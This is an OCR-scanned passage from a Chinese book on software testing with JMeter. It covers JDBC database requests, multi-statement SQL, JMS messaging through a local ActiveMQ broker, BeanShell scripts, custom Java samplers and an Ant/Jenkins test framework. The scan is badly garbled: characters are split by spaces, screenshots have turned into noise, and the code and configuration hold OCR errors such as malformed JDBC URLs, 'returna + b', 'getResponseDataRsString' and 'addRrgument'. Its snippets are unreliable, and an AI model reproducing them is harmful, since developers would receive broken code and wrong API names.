Username: root 
Password: "vv 


图 3.13 JDBC Connection Configuration 
为 了 大 家 方便 ,这 里 我 把 常用 的 数据 库 驱 动 名 称 以 及 对 应 的 URL 做 了 


总 结 , 如 图 3. 14 所 示 。 
(3) 新 建 一 个 Sampler 中 的 JDBC Request, 用 于 完成 JDBC 的 请 求 。 如 
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Datebase Driver class Database URL 


MySQL com.mysql.jdbc.Driver jdbc-mysql:-//host:port/{dbname} 
PostgreSQL |org.postgresql. Driver jdbc-postgresql-{dbname} 
Oracle oracle.jdbc.driver.OracleDriver jdbc-:oracle-thin-user/pass@//host:port/sevice 


Ingres (2006) ingres.jdbc.IngresDriver jdbc-ingres://host:port/db[;attr=value] 


MSSQL com.microsoft.sqlserver.jdbc.SQLServerDriver jdbc:sqlserver-//IP:1433;databaseName=DBname 
或 者 或 者 
net.sourceforge.jtds.jdbc_Driver jdbc-jtds-sqlserver-//localhost:1433/"+"library" 


图 3.14 JMeter 数据 库 驱 动 名 以 及 对 应 的 URL 


图 3.15 所 示 , 其 中 Variable Name 要 和 上 一 步 的 值 一 致 ; SQL Query 中 填 
写 SQL 语句 ,这 里 我 们 写 的 是 一 个 查询 的 SQL 。 


JDBC Request 
名 称 : |JDBC Request 
注释 : 
Variable Name Bound to Pool 
|wnae Name:|xiaoqiangmysql 
SQL Query 


Query Type:| Select Statement 


Query: 
| 1 select goods id,goods name from ecs goods where goods id =134; 


图 3.15 JDBC Request 


小 强 课 和 萱 


常 使 用 的 Query Type 有 Select Statement 和 Update Statement。 
其 中 Select 语句 选择 Select Statement ,对 于 Insert、Update、Delete 等 语 
句 则 选择 Update Statement。 


(4) 最 后 建立 一 个 查看 结果 树 监 听 器 即 可 ,运行 之 后 可 以 看 到 能 正常 获 
取 到 数据 ,如 图 3. 16 所 示 。 
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察看 结果 树 

名 称 : 察看 结果 权 

注释 : 

所 有 数据 写 入 一 个 文件 

文件 名 | 二 | Log/Display onw: 口 仅 E 


Search: | 回 case sensitive DRegularexp | S 


goods_name 


| 委 园 - 白 18K 金 钻石 式 指 


图 3.16 JDBC 查看 结果 树 


到 这 里 我 们 就 完成 了 一 个 最 基本 的 JDBC 请 求 。 

但 是 我 们 发 现 这 里 的 SQL 语句 中 的 数据 是 写 死 的 ,如 果 我 想 让 它 动 起 
来 怎么 做 呢 ? 其 实 也 比较 简单 ,大致 步 又 如 下 。 

(1) 在 测试 计划 中 新 建 一 个 用 户 定 义 的 变量 ,名 称 为 id, 值 为 134, 如 
图 3.17 所 示 。 

测试 计划 

名 称 : | 列 汪 计划 
注释 : 


用 户 定义 的 变量 


图 3.17 测试 计划 


(2) 在 JDBC Request 修改 Query Type 的 值 以 及 SQL 语句 ,如 图 3. 18 
所 示 。 


SQL Query 


Query Type:|Prepared Select Statement 
Query: 
1 select goods id,goods name from ecs_goods where goods id = 3; 


3.18 SQL Query 


(3) 填写 Parameter values 的 值 为 $ {id} ,这样 就 可 以 替换 占 位 符 “??” 
的 值 。 
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(4) 填写 Parameter types 的 值 为 INTEGER ,指明 值 的 类 型 。 最 终 效果 
如 图 3. 19 所 示 。 


Parameter values:|$fid} 
Parameter types: INTEGER 


图 3. 19 参数 设置 


这 里 有 个 小 技巧 ,大 家 只 需要 把 鼠标 移动 到 每 个 字段 的 上 面 悬 浮 片 刻 ， 
会 出 现 Tips 提示 ,帮助 我 们 理解 选项 的 意思 。 


3.4.2 多 SQL 语句 测试 


有 时 候 我 们 想 同 时 运行 多 条 SQL 语句 ,不 少 朋 友 直 接 把 多 条 SQL 语句 
写 到 了 SQL Query 处 ,这 样 肯定 会 报错 。 

这 里 我 们 以 运行 两 条 插入 SQL 语句 为 例 , 正 确 的 做 法 如 下 。 

(1) 在 Database Connection Configuration 中 的 Databases URL 字段 末 
尾 加 上 “? allowMultiQueries 二 true”, 如 图 3. 20 所 示 。 


Database Connection Configuration 
Database URL: jdbc:mysql:/ocalhost3306/test?allowMultiQueries=true 
JDBC Driver class:(com .mysqljdbc Driver 
Username: |root 
Password vv 


图 3. 20 Database Connection Configuration 多 SQL 语句 


(2) 在 JDBC Request 的 Query Type 处 选择 Update Statement ,并 在 
Query 里 写 上 两 条 插入 的 SQL 语句 ,如 图 3. 21 所 示 。 


JDBC Request 
名 称 : |JDBC Request 
注释 : 
FVariable Name Bound to Pool 
Variable Name: iaoqiangmysal 
-SQAL Query 
Query Type: | Update Statement 
Query: 
1 insert into student (name,age) values (“xiaoqiang”,181); 
2 insert into student (name,age) values ("xiaoqgiang”,281); 
3 


图 3.21 JDBC Request 多 SQL 语句 
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(3) 运行 JMeter, 然 后 到 数据 库 中 查看 ,可 以 看 到 成 功 地 插入 了 新 数据 ， 
如 图 3. 22 所 示 。 


ysql> select x from student; 


上 xiaogqiang ! 
HT 


图 3.22 多 SQL 语句 运行 结果 


3.5 使 用 JMeter 完成 JMS Point-to-Point 
脚本 开发 


所 有 JMeter 的 资料 基本 都 是 针对 HTTP 请 求 的 ,很 少 会 有 测试 JMS 
消息 的 资料 ,本 节 就 以 自己 的 实践 来 给 大 家 总 结 下 如 何 完成 JMS Point-to- 
Point 的 脚本 开发 。 


3.5.1 JMS 介绍 


在 脚本 开发 之 前 我 们 有 必要 先 了 解 下 什么 是 JMS, 我 相信 很 多 朋友 都 
不 知道 。JMS(Java Message Service) 即 Java 消息 服务 应 用 程序 接口 ,是 一 
个 Java 平 台中 关于 面向 消息 中 间 件 (MOM) 的 API, 用 于 在 两 个 应 用 程序 之 
间 ,或 分 布 式 系统 中 发 送 消息 ,进行 异步 通信 。Java 消息 服务 是 一 个 与 具体 
平台 无 关 的 API, 绝 大 多 数 MOM 提供 商都 对 JMS 提供 支持 。 它 是 Java 平 
台 上 有 关 面 向 消息 中 间 件 (MOM) 的 技术 规范 , 它 便 于 消息 系统 中 的 Java 应 
用 程序 进行 消息 交换 ,并 且 通 过 提供 标准 的 产生 发送 、 接 收 消 息 的 接口 简 
化 企业 应 用 的 开发 。 

通俗 一 点 的 解释 就 是 : JMS 是 一 个 标准 或 者 说 是 一 个 协议 ,通常 用 于 企 
业 级 应 用 的 消息 传递 。 图 3. 23 表示 的 就 是 JMS Point-to-Point 的 模型 。 另 
外 一 个 模型 Publish/Subscribe 不 在 本 次 讨论 范围 内 , 感 兴 趣 的 朋友 可 以 上 
行 查阅 相关 资料 。 

这 个 模型 中 有 几 个 关键 点 需要 大 家 理解 。 


大 话 软 件 测试 一 一 性 能 、 自 动 化 及 


Consumes 
Send Message 
Message R 
Acknowledge 
Message 


图 3.23 JMS Point-to-Point 模型 


发 送 者 和 接受 者 。 接 受 者 从 队列 中 获取 消息 , 且 在 成 功 接收 消息 之 
后 需 向 队列 应 签 成 功 。 发 送 者 和 接收 者 之 间 在 时 间 上 没有 依赖 性 ， 
也 就 是 说 当 发 送 者 发 送 了 消息 之 后 ,不管 接收 者 有 没有 正在 运行 ,都 
不 会 影响 消息 被 发 送 到 队列 。 

消息 队列 。 每 个 消息 都 被 发 送 到 一 个 特定 的 队列 。 队 列 保留 着 消 
息 ,直到 他 们 被 消费 或 超时 。 

每 个 消息 只 有 一 个 消费 者 ,一 旦 被 消费 ,消息 就 不 在 消息 队列 中 了 。 


3.5.2 ActiveMQ 介绍 


了 解 了 JMS 之 后 还 得 了 解 下 ActiveMQ。 它 是 Apache 出 品 的 最 流行 
的 ,能 力 强劲 的 开源 消息 队列 服务 ,是 面向 消息 中 间 件 (MOM) 的 最 终 实现 ， 
是 真正 的 服务 提供 者 。 由 于 ActiveMQ 是 一 个 独立 的 JMS Provider, 所 以 我 
们 不 需要 其 他 任何 第 三 方 服务 器 。 

ActiveMQ 是 通过 什么 工作 模式 来 进行 的 呢 ? 让 我 们 用 图 3. 24 来 


说 明 。 
Connection 
Factory 


1 


Connection 


Message : Message 
= Session -| 
Producer Consumer 


(Destination) Message (Destination) 


图 3.24 ActiveMQ 工作 模式 
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消息 生产 者 将 消息 发 送 至 消息 服务 ,消息 消费 者 则 从 消息 服务 接收 这 
些 消息 。 这 些 消息 的 传送 操作 是 使 用 一 组 实现 了 ActiveMQ 应 用 编程 接口 
的 对 象 来 执行 的 。 

ActiveMQ 工作 模式 中 的 部 分 解释 如 下 。 
ActiveMQ 客户 端 使 用 Connection Factory 对 象 创建 一 个 连接 ,向 消 
息 服 务 发 送 消息 以 及 从 消息 服务 接收 消息 均 是 通过 此 连接 来 
进行 。 
Connection 是 客户 端 与 消息 服务 的 活动 连接 。 这 是 一 个 相当 重要 的 
对 象 ,大 多 数 客户 端 均 使 用 一 个 连接 来 进行 所 有 的 消息 传送 。 
Session 是 一 个 用 于 生成 和 使 用 消息 的 单线 程 上 下 文 。 它 用 于 创建 
发 送 消 息 的 生产 者 和 接收 消息 的 消费 者 ,并 为 所 发 送 的 消息 定义 发 
送 顺序 。 
客户 端 使 用 Message Producer 向 指定 的 物理 目标 发 送 消 息 。 
客户 端 使 用 Message Consumer 对 象 从 指定 的 物理 目标 接收 消息 。 
消费 者 可 以 支持 同步 或 异步 消息 接收 。 异 步 使 用 可 通过 向 消费 者 注 
册 MessageListener 来 实现 。 


3.5.3 JMS Point-to-Point 脚本 开发 


在 了 解 了 JMS 和 ActiveMQ 之 后 ,我 们 进行 JMS Point-to-Point 的 脚本 
开发 ,为 了 方便 讲解 ,所 以 在 本 地 搭建 了 一 个 ActiveMQ 服务 ,大 致 实现 步 又 
如 下 。 

(1) 安装 并 启动 ActiveMQ。 如 果 你 已 经 有 一 个 存在 的 ActiveMQ 服务 
则 可 以 忽略 这 一 步 。 到 ActiveMGQ 官网 下 载 ZIP 包 , 解 压 后 进入 bin 目录 ， 
如 图 3. 25 所 示 。 如 果 你 的 计算 机 是 64 位 则 进入 win64 目录 ,否则 进入 
win32 目录 。 进 入 对 应 的 目录 后 双击 activemq. bat 即 可 运行 。 

(2) ActiveMQ 启动 完成 后 ,在 浏览 器 地 址 栏 中 访问 http://127. 0. 0. 
1:8161/admin/ ,默认 用 户 名 和 密码 都 是 admin, 如 果 没 有 问题 则 可 以 看 到 如 
图 3. 26 所 示 的 页 面 。 

(3) 进入 ActiveMQ 解压 后 的 文件 夹 ,把 activemq-all-5. 13. 3. jar 复制 
到 JMeter 安装 目录 下 的 lib 子 目录 中 。 

(4) 在 线程 组 下 新 建 一 个 Sampler 下 的 JMS Point-to-Point, 然后 填写 


工具 帮助 (H) 
共享 刻录 新 建文 件 去 

名 称 修改 日 期 

BD win32 2016/6/21 22: 
BD win64 2016/6/21 22:: 
Lactivemq 2016/4/28 13: 
activemq.bat 2016/4/28 13: 
国 activemqjar 2016/4/28 13: 
activemq-admin.bat 2016/4/28 13: 
国 wrapperjar 2016/4/28 12: 


图 3.25 ActiveMQ bin 目录 


Home | Queues | Topics | Subscribers | Connections | Network | Scheduled | Send 


Welcome! 
Welcome to the Apache ActiveMQ Console of localhost (ID:ZXW-20160110IEW-10051-1466520878862-0:1) 


You can find more information about Apache ActiveMQ on the Apache ActiveMQ Site 


Broker 
Name localhost 
Version 5.13.3 
ID ID:ZXW-201601101EW-10051-1466520878862-0:1 
Uptime 45.366 seconds 


Store percent used 0 
Memory percent used 0 


Temp percent used o 
图 3.26 ActiveMQ 页 面 
必要 的 JMS 资源 信息 ,具体 的 字段 解释 以 及 需要 填写 的 信息 如 下 。 
。 QueueuConnection Factory: ActiveMQ 连接 工厂 ,此 处 填写 
ConnectionFactory。 


。 JNDI name Request queue: JNDI 请 求 队列 名 字 , 此 处 填写 Q. REQ。 
。 JNDI name Receive queue: JNDI 接收 队列 名 字 , 此 处 填写 Q. REQ 。 
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。 Communication style: 通讯 形式 ,此 处 选择 Request Only。 
。 Timeout: 超时 设置 ,此 处 填写 2000。 
。 Content: 消息 内 容 , 此 处 填写 this is jms point to point,by xiaoqiang。 
。 Initial Context Factory: JNDI 的 初始 会 话 工 厂 , 此 处 统一 填写 
org. apache. activemq. jndi. ActiveMQJInitialContextFactory。 
。JNDI Properties: 新 添加 一 个 属性 ,名 称 为 queue. Q. REQ; 值 为 
小 强 。 
。 Provider URL: ActiveMQ 地 址 和 端口 。 此 处 填写 tcp://localhost: 
61616 
(5) 最 终 配 置 完 成 后 的 效果 如 图 3. 27 所 示 。 
JMS Point-to-Point 
名 称 : JMS Pointto-Point 
注释 : 
JMS Resources 
QueueConnection Factory |ConnectionFactory 
JNDIname Request queue |Q.REQ 


JNDI name Receive queue |Q REQ 
JMS Selector 


Message properties 


口 Use Request Message ld 口 Use Response Message ld 


Timeout (ms) |2000 Expiration (ms) [0 | Priority (0-9) 站 | Use non-persistent delivery mode? 
Content 
[i this 1s jms point to point ,by xiaoqiang | 
JMS Properties 
名 称 : 值 Class ofvalue 

[| ws 
JNDI Properties 一 一 一 一 一 一 一 一 一 一 一 一 
Initial Context Factory [org apache acdivemqjndiAciveMaInitialContexFactory 

JNDI Properties 
名 称 : 值 

queue QREQ 小 强 


eee | Bm | [reerom covoore |[ eons |[ ww ]| oom 


Provider URL |tcp/Mocalhost61616 


图 3.27 JMS Point-to-Point 配置 


(6) 添加 一 个 查看 结果 树 ,然后 运行 JMeter, 结 果 如 图 3. 28 所 示 ,请 求 
成 功 。 


大 话 软 件 测试 一 一 性 能 、 自 动 化 及 


取样 器 结果 | 请 求 | 响应 数据 
-|| Size in bytes: 35 

-| Headers size in bytes: 0 

省 Body size in bytes: 35 

-| Sample Count 1 

-| Error Count 0 

站 Data type Ctext Tbin"[™): text 

:| Response code: 200 

Response message: OK 


we 


-| Response headers- 


‘| sampleResuttfields: 
ContentType- 
DataEncoding: GBK 


图 3.28 JMS 运行 结 


(7) 之 后 返回 ActiveMQ 的 控制 台 ,切换 到 Queues 标签 页 ,可 以 看 到 我 
们 发 送 的 消息 已 经 进入 了 队列 ,如 图 3. 29 所 示 。 


Queues 

Namel NumberOfPondingMessages NumberOfConsumers Nessages Enqueued MessagesDequeved Views Operations 
Brovee Acsve Consum 

eampleA 0 o 2 2 ctve Prodacers Send To purge Delete 
ED EB 
Brovae Active conaumem 

EE o 1 cuive Producers Send To purge Dalete 
ED EE 


图 3.29 Queues 


经 历 了 以 上 步 又 我 们 就 完成 了 JMS Point-to-Point 脚本 的 开发 。 例 子 
中 的 数据 需要 根据 实际 情况 改动 , 切 勿 生 搬 硬 套 。 对 于 更 多 ActiveMQ 和 
JMS 的 知识 大 家 可 以 到 官网 查看 。 


3.6 BeanShell 脚本 在 JMeter 中 的 应 用 


本 章 一 开始 就 提 到 JMeter 独 有 的 强大 扩展 功能 ,而 BeanShell 脚本 在 
JMeter 中 的 应 用 就 是 亮点 之 一 。 因 为 相关 资料 在 网 上 比较 少 ,也 有 不 少 朋 
友 感 兴趣 ,所 以 这 节 我 们 就 一 起 来 学 习 下 。 

BeanShell 是 一 个 小 巧 免费 的 Java 源码 解释 器 ,支持 对 象 式 的 脚本 语言 
特性 ,在 语法 上 和 Java 类 似 , 它 内 艇 在 JMeter 中 ,可 以 直接 使 用 。 如 果 有 对 
BeanShell 开发 感 兴趣 的 朋友 可 以 到 官网 查看 并 学 习 , 地 址 为 http://www. 
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beanshell. org。 

在 JMeter 中 常见 的 BeanShell 有 BeanShell Sampler、BeanShell 
PreProcessor (前 置 处 理 器 )、BeanShell PostProcessor (后 置 处 理 器 )、 
BeanShell Timer (定时 器 )、BeanShell Assertin、 BeanShell Listener (监听 
器 )。 它 们 的 用 法 基本 相同 ,只 是 作用 的 时 机 不 同 而 已 ,比如 , BeanShell 
PostProcessor 是 在 请 求 完成 后 进行 处 理 的 。 此 处 我 们 以 BeanShell Sampler 
为 例 进行 讲解 。 


1. 简单 应 用 


在 JMeter 中 最 简单 的 BeanShell 应 用 就 是 利用 vars. put() 和 vars. get 
O 〇 方法 对 参数 进行 赋值 和 取 值 。 在 线程 组 下 新 建 一 个 用 户 参 数 和 BeanShell 
Sampler。 其 中 用 户 参 数 中 设置 一 个 变量 username, 如 图 3. 30 所 示 , 值 为 
空 。BeanShell Sampler 中 的 代码 如 下 。 


// 给 在 用 户 参 数 中 定义 的 变量 username 赋值 为 xiaoqiang 
vars. put("username", "xiaoqiang"); 

// 获 取 变 量 username 的 值 并 赋值 给 name 变量 

String name = vars.get("username"); 

// 在 jmeter. bat 中 输出 内 容 


print(name); 


用 户 参 数 

名 称 : 用 户 参数 
注释 : 

回 每 次 跌 代 更 新 一 次 
参数 


名 称 : 用 户 _1 


usermame 


图 3. 30 用 户 参 数 


2. 引用 外 部 文件 


BeanShell 也 可 以 完成 引用 外 部 文件 的 测试 。 它 可 以 引入 外 部 的 Java、 
Class 以 及 JAR 包 进 行 测试 。 其 中 JAR 包 的 测试 需要 提前 在 测试 计划 的 右 
侧面 板 最 下 方 先 把 JAR 包 添 加 进来 才 可 以 。 三 者 的 基本 用 法 是 类 似 的 ,这 
里 我 们 以 引入 外 部 Java 文件 为 例 进行 讲解 。 
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假如 现在 有 一 个 外 部 Java 文件 是 AddNumber. java, 代 码 如 下 。 


package com. xiaoqiang. test; 
public class AddNumber 


{ 
public int add( int a, int b) 
{ 
returna + b; 
} 
} 


如 果 想 在 JMeter 中 引用 ,只 需 在 BeanShell Sampler 脚本 中 增加 一 句 
source("Java 文件 路 径 ") 即 可 。 具 体 实现 代码 如 下 。 

// 引 入 外 部 Java 文件 

source("d:\\AddNumber. java" ); 

// 创 建 对 象 并 调用 add 方法 返回 结果 

int result = new AddNumber().add(1, 1); 

// 打 印 结果 

print(result); 


3. BeanShell PostProcessor 的 应 用 


BeanShell PostProcessor 的 用 法 和 BeanShell Sampler 基本 一 样 ,区 别 
是 BeanShell PostProcessor 是 后 置 处 理 器 ,对 请 求 之 后 的 操作 进行 处 理 。 这 
里 我 们 继续 以 老 黄 历 接 口 为 例 ,利用 BeanShell PostProcessor 来 获取 请 求 老 
黄历 接口 之 后 的 返回 数据 。 大 致 实现 步 又 如 下 。 

(1) 线程 组 下 新 建 一 个 HTTP 请 求 ,填写 好 老 黄历 的 接口 信息 。 

(2) 新 建 一 个 后 置 处 理 器 BeanShell PostProcessor ,代码 如 下 。 

// 获 取 响 应 结果 并 转换 成 String 类 型 赋值 给 json 变量 

String json = prev. getResponseDataRsString() ; 

// 打 印 结果 到 jmeter. bat 

print(json); 

(3) 运行 脚本 ,结果 如 图 3. 31 所 示 , 图 中 的 提示 请 大 家 忽略 ,是 因为 我 
的 认证 过 期 导致 的 。 


Cv"resultcode":"185", "reason":" 应 用 未 审核 超时 ， 请 提交 认证 ". "result":null, "error_c 
ode":10065》 
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4. 常用 的 BeanShell 内 置 变 量 


。 vars: 对 JMeter 线程 中 的 局 部 变量 进行 操作 ,如 赋值 和 取 值 。 用 法 
在 本 小 节 “1. 简单 应 用 ”中 已 经 讲解 过 了 。 

。 props: 可 操作 JMeter 的 属性 。 用 法 和 vars 类 似 , 比如 ,props. get 
("HOST"); 或 props. put("PROP1" ,"1234") 。 

。 log: 写 入 信息 到 jmeber. log 文件 ,格式 : log. info(" 要 写 入 的 内 容 ")。 

。 prev: 获取 前 面 的 Sampler 返回 的 信息 。 比 如 ,getResponseDataAs- 
String(); 获取 响应 信息 或 getResponseCode(); 获取 响应 码 。 在 本 
小 节 “3. BeanShell PostProcessor 的 应 用 ”中 已 经 讲解 过 了 。 

还 有 一 些 其 他 的 内 置 变量 ,可 参考 JMeter 的 官方 文档 。 

扫 右 侧 二 维 码 可 以 观看 视频 ,详解 JMeter 如 何 调用 第 三 方 

JAR 包 。 


3.7 使 用 JMeter 完成 Java 自 定义 请 求 


有 时 候 因为 特殊 需求 ,测试 脚本 需要 进行 自 定 义 扩展 ,可 能 工具 本 身 无 
法 完成 我 的 测试 需求 。 除 了 3. 6 节 中 讲解 的 BeanShell 外 ,本 节 将 要 讲解 的 
Java 请 求 也 可 以 满足 我 们 的 需求 。 该 Sampler 实现 的 原理 为 : 在 自 定义 类 
中 继承 AbstractJavaSamplerClient 类 ,通过 重 载 里 面 的 某 些 方法 来 定制 自 
己 的 Java 请 求 。 大 致 实现 步骤 如 下 。 

(1) 在 类 似 Ecplise 的 编辑 器 中 创建 自己 的 工程 ,并 引入 JMeter 安装 目 
录 中 的 lib 下 的 ext 子 目录 中 的 ApacheJMeter_core. jar 和 ApacheJMeter _ 
java. jar。 

(2) 编写 具体 的 实现 类 代码 ,代码 中 有 几 个 重要 的 方法 ,解释 如 下 。 

。 getDefaultParameters() : 该 方法 相当 于 设置 人参 ,会 在 JMeter 的 


GUI 参数 列表 中 显示 。 
。 setupTest(): 该 方法 是 用 来 进行 初始 化 的 ,类 似 LoadRunner 中 的 
init 方法 。 


。 runTest() : 该 方法 是 最 重要 的 ,你 的 请 求 以 及 和 服务 器 的 交互 都 在 
这 里 完成 ,类 似 LoadRunner 中 的 action 方法 。 
。 teardownTest () : 该 方法 是 用 来 做 后 续 的 清理 工作 ,类 似 LoadRunner 


66) 大 话 软 件 测试 
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中 的 end 方 法 。 
(3) 把 编写 好 的 代码 工程 打包 成 jar 包 并 复制 到 JMeter 安装 目录 的 lib 
下 的 ext 子 目录 中 。 


(4) 重启 JMeter 后 创建 Java 请 求 ,你 就 可 以 看 到 自 定义 的 Sampler 了 ， 
如 图 3. 32 所 示 。 


Java 请 求 
名 称 : |uava 请 求 
注释 : 
类 gi: lieloxaoqang 
同 请 求 一 起 发 送 参 数 : 
名 称 ; 值 
[say 


图 3.32 Java 请 求 
其 中 的 Java 代码 结构 类 似 以 下 形式 。 
// 引 入 必要 的 包 


import org. apache. jmeter. config. Arguments; 

import org. apache. jmeter. protocol. java. sampler. AbstractJavaSamplerClient; 
import org. apache. jmeter. protocol. java. sampler. JavaSamplerContext; 

import org. apache. jmeter. samplers. SampleResult; 


// 继 承 AbstractJavaSamplerClient 
public class HelloXiaoqiang extends AbstractJavaSamplerClient{ 
private String say; 
private String name; 
// 初 始 化 方法 ,获取 参数 值 
public void setupTest(JavaSamplerContext jsc){ 
say = jsc.getParameter("sayWhat"); 
name = jsc.getParameter("myName"); 
， 
public SampleResult runTest(JavaSamplerContext jsc){ 
String con; 
SampleResult result = new SampleResult(); 
// 在 sampleStart 和 sampleEnd 中 间 可 以 写 任何 数据 交互 
result. sampleStart( ); 
con = say + name; 
result. sampleEnd( ); 
if(con.equals("HelloXiaogqiang")){ 
System. out. println( con); 
// 设 置 运行 结果 的 成 功 或 失败 


result. setSuccessful (true); 
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上 
else 
result. setSuccessful (false); 
return result; 
} 
// 清 理工 作 
public void teardownTest (JavaSamplerContext arg0) { 
} 
public Arguments getDefaultParameters() { 
Arguments params = new Arguments(); 
// 每 增加 一 个 addArgument 就 会 在 JMeter GUI 参数 列表 中 增加 一 个 字段 
// 第 一 个 参数 为 参数 默认 的 显示 名 称 ,第 二 个 参数 为 默认 值 
params. addRrgument("sayWhat"，"") ; 
params.addArgument ("myName", ""); 
return params; 


3.8 ” JMeter 轻 量 级 接口 自动 化 测试 框架 


在 实际 工作 中 ,有 时 候 需 要 一 款 比较 轻 量 级 的 工具 或 框架 来 帮助 我 们 
快速 地 完成 一 些 事 情 , 而 本 节 和 大 家 分 享 的 知识 正 可 以 满足 这 一 需求 。 

人 是 一 个 非常 复杂 的 “高 级 动物 ”, 遇 到 简单 的 东西 觉得 没 技术 含量 , 遇 
到 复杂 的 东西 又 觉得 太 难 了 不 想 学 ,你 说 到 底 要 怎么 办 ? 最 后 就 造成 不 少 
朋友 处 于 “高 不 成 低 不 就 ”的 状态 ,还 是 自己 害 了 自己 。 在 大 部 分 企业 应 用 
中 ,能 快速 应 用 且 维 护 好 才 是 王道 ,所 以 轻 量 级 工具 和 框架 的 诞生 更 适用 于 
大 部 分 企业 (一 些 非常 庞大 的 公司 可 能 需要 一 些 平 台 级 的 产品 做 支撑 ) 。 所 
以 ,大 家 也 不 要 纠结 了 ,有 时 候 简单 的 东西 往往 能 更 高 效 ! 

说 了 这 么 多 , 接 下 来 我 们 就 看 看 这 个 框架 怎么 去 设计 。 大 致 思路 为 : 
JMeter 完成 接口 脚本 ,Ant 完成 脚本 执行 并 收集 结果 生成 报告 ,最 后 利用 
Jenkins 完成 整体 脚本 的 自动 集成 运行 。 看 起 来 很 简单 ,但 实际 做 起 来 还 是 
有 不 少 “ 坑 ”的 。 大 致 实现 的 步骤 如 下 。 

(1) 完成 一 个 JMeter 接口 脚本 ,并 保证 是 正确 的 。 此 处 继续 使 用 本 章 
的 老 黄历 接口 。 

(2) 将 JMeter 所 在 目录 下 extras 了 于 目录 里 的 ant-JMeter-1. 1. 1. jar 复 
制 到 Ant 所 在 目录 lib 子 目录 之 下 。 


(6s) 大 话 软 件 测试 


性 能 、 自 动 化 及 团队 管理 


(3) 修改 JMeter 目录 下 的 bin/jmeter. properties, 找 到 jmeter. save. 


saveservice. output_format, 去 掉 注 释 并 设置 为 xml。 


(4) 创建 框架 目录 结构 ,注意 层级 ,如 下 所 示 。 


xiaoqiangtest( 主 目录 文件 ) 
-— result 
-- html( 测 试 报告 生成 目录 ) 
-jtl( 存 放 jtl 文件 的 目录 ) 
-- script( 存 放 JMeter 的 jmx 文件 ) 
-一 build. xml( 核 心 配 置 文件 ) 


(5) 编写 build. xml 文件 ,部 分 核心 代码 如 下 。 
<! -一 指定 你 自己 的 JMeter 安装 目录 --> 


< property name = "jmeter. home" value = "D:\apache - jmeter -3.0" /> 


<! 一 一 指定 jtl 的 存放 路 径 --> 
< property name = " jmeter. result. jtl. dir" value = "D:\xiaoqiangtest\result\ 
jt1l" /> 


<! -- 指定 html 报告 的 存放 路 径 --> 

< property name = "jmeter. result. html. dir" value = "D:\xiaogqiangtest\result\ 
html" /> 

< property name = "ReportName" value = "TestReport" /> 


<! -- 按照 上 面 的 设 定 生成 对 应 的 文件 。 这 里 需要 注意 ,网 上 很 多 写法 都 是 错误 
的 ,如 果 不 加 time, 每 次 报告 会 琶 加 累计 ,这样 结 果 就 不 准确 了 。 其 实 网 上 很 多 东 
西 都 是 错误 的 ,一 个 错误 的 东西 有 100 个 人 传 也 许 就 传 成 真 的 了 --> 

< property name = "jmeter. result. jtlName" value = " $ {jmeter. result. jtl.dir}/ 
$ {ReportName} $ {time}.jtl" /> 

< property name = " jmeter. result. htmlName" value = " $ {jmeter. result. html. 


dir}/ $ {ReportName} $ {time}. html" /> 


<! -- 解决 在 最 终生 成 的 报告 中 Min/Max 字段 总 显示 NaN 的 问题 ,同时 把 这 两 个 
jar 文件 复制 到 ant 的 lib 目录 中 --> 

<path id = "xslt. classpath"> 

<fileset dir =" $ {jmeter. home}/lib" includes = "xalan— 2.7.1.jar"/> 
<fileset dir =" $ {jmeter. home}/lib" includes = "serializer -2.7.1.jar"/> 
</path> 

< target name = "test"> 


< taskdef name = " jmeter" classname = "org. programmerplanet. ant. taskdefs. 
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jmeter. JMeterTask" /> 
< jmeter jmeterhome = " $ {jmeter. home}" resultlog = " $ {jmeter. result. 
jtlName}"> 


<! -- 你 要 运行 哪些 脚本 都 写 在 这 里 ,如 果 你 想 运行 所 有 脚本 就 写 ". jmx" 即 可 -一 > 
<testplans dir = "D:N\xiaoqiangtest\script"” includes = "laohuangli. jmx" /> 
</jmeter > 


</target > 


<! -- 设 定 你 想 要 生成 报告 的 模板 , JMeter 自 带 了 几 套 模块 可 以 供 大 家 使 用 ,在 
JMeter 的 安装 目录 下 的 extras 子 目录 中 ,后 级 为 xsl, 可 以 自行 选择 使 用 , 当然 你 
也 可 以 自 定义 报告 。 我 们 这 里 使 用 了 jmeter - results - detail - report_21. xsl 
的 报告 模板 -一 > 

<xslt in="$ {jmeter. result. jtlName}" out = " $ {jmeter. result. htmlName}" 
style= " $ {jmeter. home}/extras/jmeter - results - detail - report 21.xsl"> 

< param name = "dateReport" expression= " $ {report. datestamp}"/> 

</xslt> 


(6) 切换 到 框架 目录 ,在 CMD 窗口 中 输入 ant 来 执行 ,等 待 片 刻 后 可 以 
看 到 提示 “BUILD SUCCESSFUL”。 
(7) 之 后 到 html 目录 下 查看 报告 ,报告 的 形式 如 图 3. 33 所 示 。 


Summary 


日 100.00% Mm 43 ms ms 


日 aoaoow aa me me am 加 


TP 
ET 


图 3.33 测试 报告 


经 过 上 面 的 步骤 我 们 就 基本 完成 了 一 个 轻 量 级 框架 的 构建 ,但 是 ,我 们 
仍然 需要 通过 手工 输入 ant 来 执行 ,如 果 可 以 集成 到 Jenkins 中 那 会 更 加 方 
便 ,并 可 以 产生 各 类 统计 报告 ,方便 进行 监控 。 

将 该 轻 量 级 框架 集成 到 Jenkins 的 大 致 实现 步骤 如 下 。 

(1) 在 Jenkins 中 新 建 一 个 自由 风格 的 Job ,构建 步 又 选择 Invoke Ant， 
然后 把 相关 信息 填写 完毕 就 大 功 告 成 了 ,如 图 3. 34 所 示 。 

(2) 可 以 配合 Performance 插件 使 用 ,方便 统计 各 种 性 能 信息 ,此 步 又 
可 选 ,统计 结果 如 图 3. 35 所 示 。 进 入 详情 页 后 还 可 以 看 到 具体 的 数据 统计 ， 
如 图 3. 36 所 示 。 


自动 化 及 


构建 


3 Invoke Ant 


Ant Version ant196 


Targets 
Build File | D.viaoqiangtest\build xml 


Properties 


Java Options 


图 3.34 Ant 的 配置 


禁用 项 目 
Performance Trend 


Responding time 


#6008 


图 3.35 Performance Trend 


En 
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Performance Breakdown by URI: TestReport_xiaoqiang.jtl 


URI 


Samples| Samples difll Average (ms 
7| | 1709| 


Average diff (ms)| Median (ma Median diff (ms)| Line90 (msj Minimum (ms)| Maximum (msj Hu 
| 970| 1 3646| 750| 3646| 


AlIl URIs| 


7| qd 1709| dq 970| o 3646| 750| 


图 3.36 详细 数据 


到 这 里 你 是 不 是 觉得 可 以 结束 了 呢 ? 必然 不 可 以 结束 ,如 果 最 后 能 把 
结果 以 邮件 的 形式 自动 通知 给 相关 人 员 是 不 是 会 更 好 点 呢 ? 这 样 我 们 就 不 
